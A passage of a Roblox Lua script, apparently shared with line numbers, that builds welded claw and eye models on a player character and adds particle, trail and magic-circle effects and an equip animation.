  2923. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2924. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2925. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2926. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2927. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2928. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2929. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2930. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2931. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2932. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2933. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2934. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2935. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2936. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2937. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2938. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2939. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2940. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2941. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2942. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2943. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2944.  
  2945. local modelzorzz2=Instance.new("Model")
  2946. modelzorzz2.Parent=Character
  2947. modelzorzz2.Name="Claw2"
  2948.  
  2949. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2950. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2951. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2952. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2953. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2954. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2955. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2956. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2957. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2958. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2959. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2960. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2961. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2962. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2963. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2964. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2965. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2966. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2967. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2968. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2969. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2970. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2971. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2972. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2973. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2974. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2975. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2976. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2977. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2978. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2979. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2980. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2981. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2982. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2983. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2984. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2985. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2986. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2987. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2988. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2989. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2990.  
  2991. local modelzorzz3=Instance.new("Model")
  2992. modelzorzz3.Parent=Character
  2993. modelzorzz3.Name="Eye"
  2994.  
  2995. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2996. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2997. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2998. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2999. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3000. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  3001. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3002. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3003. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  3004. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  3005. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3006. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  3007. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  3008. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3009. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  3010. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3011. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  3012. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3013. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3014. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3015. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  3016. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3017. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  3018.  
  3019. p = game.Players.LocalPlayer
  3020. char = p.Character
  3021. torso = char.Torso
  3022. neck = char.Torso.Neck
  3023. hum = char.Humanoid
  3024. hum.MaxHealth = 1527500
  3025. wait()
  3026. hum.Health =hum.MaxHealth
  3027.  
  3028. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3029. particleemitter.VelocitySpread = 180
  3030. particleemitter.Lifetime = NumberRange.new(0.1)
  3031. particleemitter.Speed = NumberRange.new(2)
  3032. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3033. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3034. particleemitter.Rate = 100
  3035. particleemitter.Rotation = NumberRange.new(-45, 45)
  3036. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3037. particleemitter.LightEmission = 0.8
  3038. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3039.  
  3040. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3041. particleemitter.VelocitySpread = 180
  3042. particleemitter.Lifetime = NumberRange.new(0.1)
  3043. particleemitter.Speed = NumberRange.new(2)
  3044. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3045. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3046. particleemitter.Rate = 100
  3047. particleemitter.Rotation = NumberRange.new(-45, 45)
  3048. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3049. particleemitter.LightEmission = 0.8
  3050. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3051.  
  3052. local particleemitter = Instance.new("ParticleEmitter", handle)
  3053. particleemitter.VelocitySpread = 180
  3054. particleemitter.Lifetime = NumberRange.new(0.1)
  3055. particleemitter.Speed = NumberRange.new(2)
  3056. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3057. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3058. particleemitter.Rate = 100
  3059. particleemitter.Rotation = NumberRange.new(-45, 45)
  3060. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3061. particleemitter.LightEmission = 0.8
  3062. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3063.  
  3064. particleemitter.Enabled = true
  3065.     MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3066.     MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3067.     so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3068.     so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3069.     for i=0,1,0.005 do
  3070.         swait()
  3071.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3072.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3073.         handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3074.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3075.         Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3076.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3077.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3078.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3079.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3080.     end
  3081.     for i=0,1,0.04 do
  3082.         swait()
  3083.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3084.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3085.         Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3086.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  3087.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3088.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3089.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3090.         LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3091.     end
  3092. attack = false
  3093. end
  3094. end
  3095. end)
  3096.  
  3097. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3098. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3099. prt.Anchored=true
  3100. prt.CFrame=cframe
  3101. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3102. game:GetService("Debris"):AddItem(prt,2)
  3103. coroutine.resume(coroutine.create(function(Part,Mesh)
  3104. for i=0,1,delay do
  3105. wait()
  3106. Part.CFrame=Part.CFrame
  3107. Part.Transparency=i
  3108. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3109. end
  3110. Part.Parent=nil
  3111. end),prt,msh)
  3112. end
  3113.  
  3114. TrailDeb = false
  3115.  
  3116. function equipanim()
  3117.     attack=true
  3118.     Humanoid.WalkSpeed = 0
  3119.     if TrailDeb == false then
  3120.                             TrailDeb = true
  3121.                         end
  3122.  
  3123.                        
  3124. coroutine.wrap(function()
  3125. local Old = handle.CFrame.p
  3126. while wait()do
  3127. if not TrailDeb then break end
  3128. local New = handle.CFrame.p
  3129. local Mag =(Old -New).magnitude
  3130. local Dis =(Old +New)/2
  3131. local Trail = Instance.new("Part",Character)
  3132. Trail.Material = "Neon"
  3133. Trail.Anchored = true
  3134. Trail.CanCollide = false
  3135. Trail.BrickColor = TorsoColor
  3136. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3137. Trail.TopSurface = 0
  3138. Trail.BottomSurface = 0
  3139. Trail.formFactor = "Custom"
  3140. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3141. local ms = Instance.new("BlockMesh",Trail)
  3142. ms.Scale = Vector3.new(1,1,1)
  3143. local TM = Instance.new("CylinderMesh",Trail)
  3144. TM.Scale = Vector3.new(1,1,1)
  3145. Old = New
  3146. coroutine.wrap(function()
  3147. for i = 1,0,-0.1 do
  3148. wait()
  3149. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3150. end
  3151. Trail:remove()
  3152. end)()
  3153. coroutine.wrap(function()
  3154. for i = 1,10 do
  3155. wait()
  3156. Trail.Transparency = Trail.Transparency +0.1
  3157. end end)()end end)()
  3158. coroutine.wrap(function()
  3159. local Old = Handle.CFrame.p
  3160. while wait()do
  3161. if not TrailDeb then break end
  3162. local New = Handle.CFrame.p
  3163. local Mag =(Old -New).magnitude
  3164. local Dis =(Old +New)/2
  3165. local Trail = Instance.new("Part",Character)
  3166. Trail.Material = "Neon"
  3167. Trail.Anchored = true
  3168. Trail.CanCollide = false
  3169. Trail.BrickColor = TorsoColor
  3170. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3171. Trail.TopSurface = 0
  3172. Trail.BottomSurface = 0
  3173. Trail.formFactor = "Custom"
  3174. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3175. local ms = Instance.new("BlockMesh",Trail)
  3176. ms.Scale = Vector3.new(1,1,1)
  3177. local TM = Instance.new("CylinderMesh",Trail)
  3178. TM.Scale = Vector3.new(1,1,1)
  3179. Old = New
  3180. coroutine.wrap(function()
  3181. for i = 1,0,-0.1 do
  3182. wait()
  3183. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3184. end
  3185. Trail:remove()
  3186. end)()
  3187. coroutine.wrap(function()
  3188. for i = 1,10 do
  3189. wait()
  3190. Trail.Transparency = Trail.Transparency +0.1
  3191. end end)()end end)()
  3192. coroutine.wrap(function()
  3193. local Old = Handle2.CFrame.p
  3194. while wait()do
  3195. if not TrailDeb then break end
  3196. local New = Handle2.CFrame.p
  3197. local Mag =(Old -New).magnitude
  3198. local Dis =(Old +New)/2
  3199. local Trail = Instance.new("Part",Character)
  3200. Trail.Material = "Neon"
  3201. Trail.Anchored = true
  3202. Trail.CanCollide = false
  3203. Trail.BrickColor = TorsoColor
  3204. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3205. Trail.TopSurface = 0
  3206. Trail.BottomSurface = 0
  3207. Trail.formFactor = "Custom"
  3208. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3209. local ms = Instance.new("BlockMesh",Trail)
  3210. ms.Scale = Vector3.new(1,1,1)
  3211. local TM = Instance.new("CylinderMesh",Trail)
  3212. TM.Scale = Vector3.new(1,1,1)
  3213. Old = New
  3214. coroutine.wrap(function()
  3215. for i = 1,0,-0.1 do
  3216. wait()
  3217. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3218. end
  3219. Trail:remove()
  3220. end)()
  3221. coroutine.wrap(function()
  3222. for i = 1,10 do
  3223. wait()
  3224. Trail.Transparency = Trail.Transparency +0.1
  3225. end end)()end end)()
  3226.     so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3227.     for i=0,1,0.005 do
  3228.         swait()
  3229.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3230.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3231.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
